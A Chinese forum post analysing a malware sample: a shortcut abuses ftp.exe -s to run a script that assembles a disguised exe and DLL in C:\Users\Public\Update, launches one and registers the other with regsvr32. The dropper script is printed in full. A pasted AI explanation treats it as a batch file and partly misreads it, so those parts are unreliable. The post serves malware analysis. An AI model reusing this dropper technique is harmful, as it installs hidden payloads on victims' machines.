本帖最后由 神奇的人鱼 于 2025-8-20 10:55 编辑
样本是一个压缩包
其中文件夹是隐藏格式,另一个是一个快捷方式
指向路径为 C:\Windows\System32\ftp.exe -s"":_/_/_/_/_/_/_/_/_
这个的作用是执行一个恶意的脚本文件_
内容如下:
[Visual Basic] 纯文本查看 复制代码 !call copy /Y "_\_\_\_\_\_\_\_\doc\*.*" "_\" >nul
!call start /max explorer _
!call mkdir C:\Users\Public\Update >nul
!call copy /Y _\_\_\_\_\_\_\_\_rels\header.doc C:\Users\Public\Update\header >nul
!call copy /Y _\_\_\_\_\_\_\_\_rels\sc.doc C:\Users\Public\Update\sc >nul
!call copy /Y _\_\_\_\_\_\_\_\_rels\%TIME:~4,1%.doc C:\Users\Public\Update\shell32 >nul
!call echo %RANDOM%>>C:\Users\Public\Update\shell32 >nul
!call copy /Y /b C:\Users\Public\Update\header+C:\Users\Public\Update\shell32 C:\Users\Public\Update\360.%TIME:~4,1% >nul
!call copy /Y /b C:\Users\Public\Update\header+_\_\_\_\_\_\_\_\_rels\WindowsSecurity.doc C:\Users\Public\Update\%TIME:~3,1%.exe >nul
!call start C:\Users\Public\Update\%TIME:~3,1%.exe -InstallLsp C:\Users\Public\Update\360.%TIME:~4,1% >nul
!IF NOT EXIST C:\Users\Public\WinVer.dll (copy /Y /b _\_\_\_\_\_\_\_\_rels\header.doc+_\_\_\_\_\_\_\_\_rels\WinVer.doc C:\Users\Public\WinVer.dll && regsvr32 /s C:\Users\Public\WinVer.dll)
quit
找ai解释一下:
这个脚本是一个 Windows 批处理(Batch)脚本,其中包含了一些可疑的、甚至可能是恶意的行为。它使用了混淆路径(如 _\_\_\_)和系统环境变量(如 %TIME% 和 %RANDOM%),目的是隐藏真实意图。下面我们逐行分析并解释其行为,并指出潜在的安全风险。
🔍 脚本逐行解析
!call copy /Y "_\_\_\_\_\_\_\_\doc\*.*" "_\" >nul
- 解释:将
_ 目录下的 doc 文件夹中所有文件复制到根 _ 目录下,覆盖已有文件。
>nul 表示不输出结果(静默执行)。
!call 可能是伪装或错误写法,正常应为 call。
- 可疑点:路径
_\_\_\_... 是明显人为构造的混淆路径,可能用于绕过检测。
!call start /max explorer _
- 解释:打开资源管理器,定位到名为
_ 的目录,并最大化窗口。
- 用途推测:可能是为了引导用户查看某个文件或制造干扰。
!call mkdir C:\Users\Public\Update >nul
- 解释:在公共用户目录下创建一个名为
Update 的文件夹。
- 常见位置:
C:\Users\Public\ 是所有用户可访问的目录,常被恶意软件用来存放持久化文件。
!call copy /Y _\_\_\_\_\_\_\_\_rels\header.doc C:\Users\Public\Update\header >nul
- 解释:复制一个名为
header.doc 的文件到 Update 文件夹并重命名为 header(无扩展名)。
- 注意:
.doc 不一定是 Word 文档,可能是伪装的可执行内容。
!call copy /Y _\_\_\_\_\_\_\_\_rels\sc.doc C:\Users\Public\Update\sc >nul
- 类似上一条,复制
sc.doc 为 sc(无扩展名)。
- 可能是某个 payload 或 shellcode 的片段。
!call copy /Y _\_\_\_\_\_\_\_\_rels\%TIME:~4,1%.doc C:\Users\Public\Update\shell32 >nul
- 解释:根据当前时间的第5个字符(如
:30.50 中的 3)选择一个文件(如 3.doc)复制为 shell32(无扩展名)。
- 动态性:利用
%TIME% 提取单个字符作为文件名,可能是为了反分析或触发特定逻辑。
!call echo %RANDOM%>>C:\Users\Public\Update\shell32 >nul
- 解释:向
shell32 文件末尾追加一个随机数。
- 目的:修改文件内容,可能用于生成密钥、混淆、或破坏签名验证。
!call copy /Y /b C:\Users\Public\Update\header+C:\Users\Public\Update\shell32 C:\Users\Public\Update\360.%TIME:~4,1% >nul
- 解释:以二进制模式(
/b)合并 header 和 shell32 文件,生成一个新文件 360.X(X 是时间中的某个数字)。
- 推测用途:拼接出一个可执行 payload,
360 可能模仿“360安全卫士”进行伪装。
!call copy /Y /b C:\Users\Public\Update\header+_\_\_\_\_\_\_\_\_rels\WindowsSecurity.doc C:\Users\Public\Update\%TIME:~3,1%.exe >nul
- 解释:合并
header 和 WindowsSecurity.doc,生成一个 .exe 文件,名字由时间第4个字符决定(如 : 或数字)。
- 严重警告:这是在创建一个可执行程序,名字伪装成与“Windows 安全”相关,具有社会工程学欺骗性。
!call start C:\Users\Public\Update\%TIME:~3,1%.exe -InstallLsp C:\Users\Public\Update\360.%TIME:~4,1% >nul
- 解释:运行上一步生成的
.exe 文件,传入参数 -InstallLsp 和另一个拼接出的文件路径。
!IF NOT EXIST C:\Users\Public\WinVer.dll (
copy /Y /b _\_\_\_\_\_\_\_\_rels\header.doc+_\_\_\_\_\_\_\_\_rels\WinVer.doc C:\Users\Public\WinVer.dll &&
regsvr32 /s C:\Users\Public\WinVer.dll
)
- 解释:如果
WinVer.dll 不存在,则:
- 合并两个
.doc 文件生成 WinVer.dll
- 使用
regsvr32 静默注册该 DLL(即加载并执行其代码)
- 高危行为:
regsvr32.exe 是合法系统工具,但常被用于 无文件攻击(fileless attack)
.dll 被注册后可能实现持久化、提权或后门功能
- 名称
WinVer.dll 伪装成系统文件(真实 winver.exe 是版本查看器)
quit
- 解释:退出脚本(但
quit 不是标准 batch 命令;应为 exit)
- 可能只是结束标记。
最终在update目录下生成的文件
通过x64dbg进行调试,需要按照脚本里面的方式更改命令行
"<实际路径>\Update\2.exe" -InstallLsp "<实际路径>\Update\360.2"
最终是解密出一个shellcode
然后外联恶意ip,但是因为这个ip已经关闭了端口,所以没办法继续分析了
压缩包sha1:5A735BD3402052CB80124CB855503E7DEF6AD696 |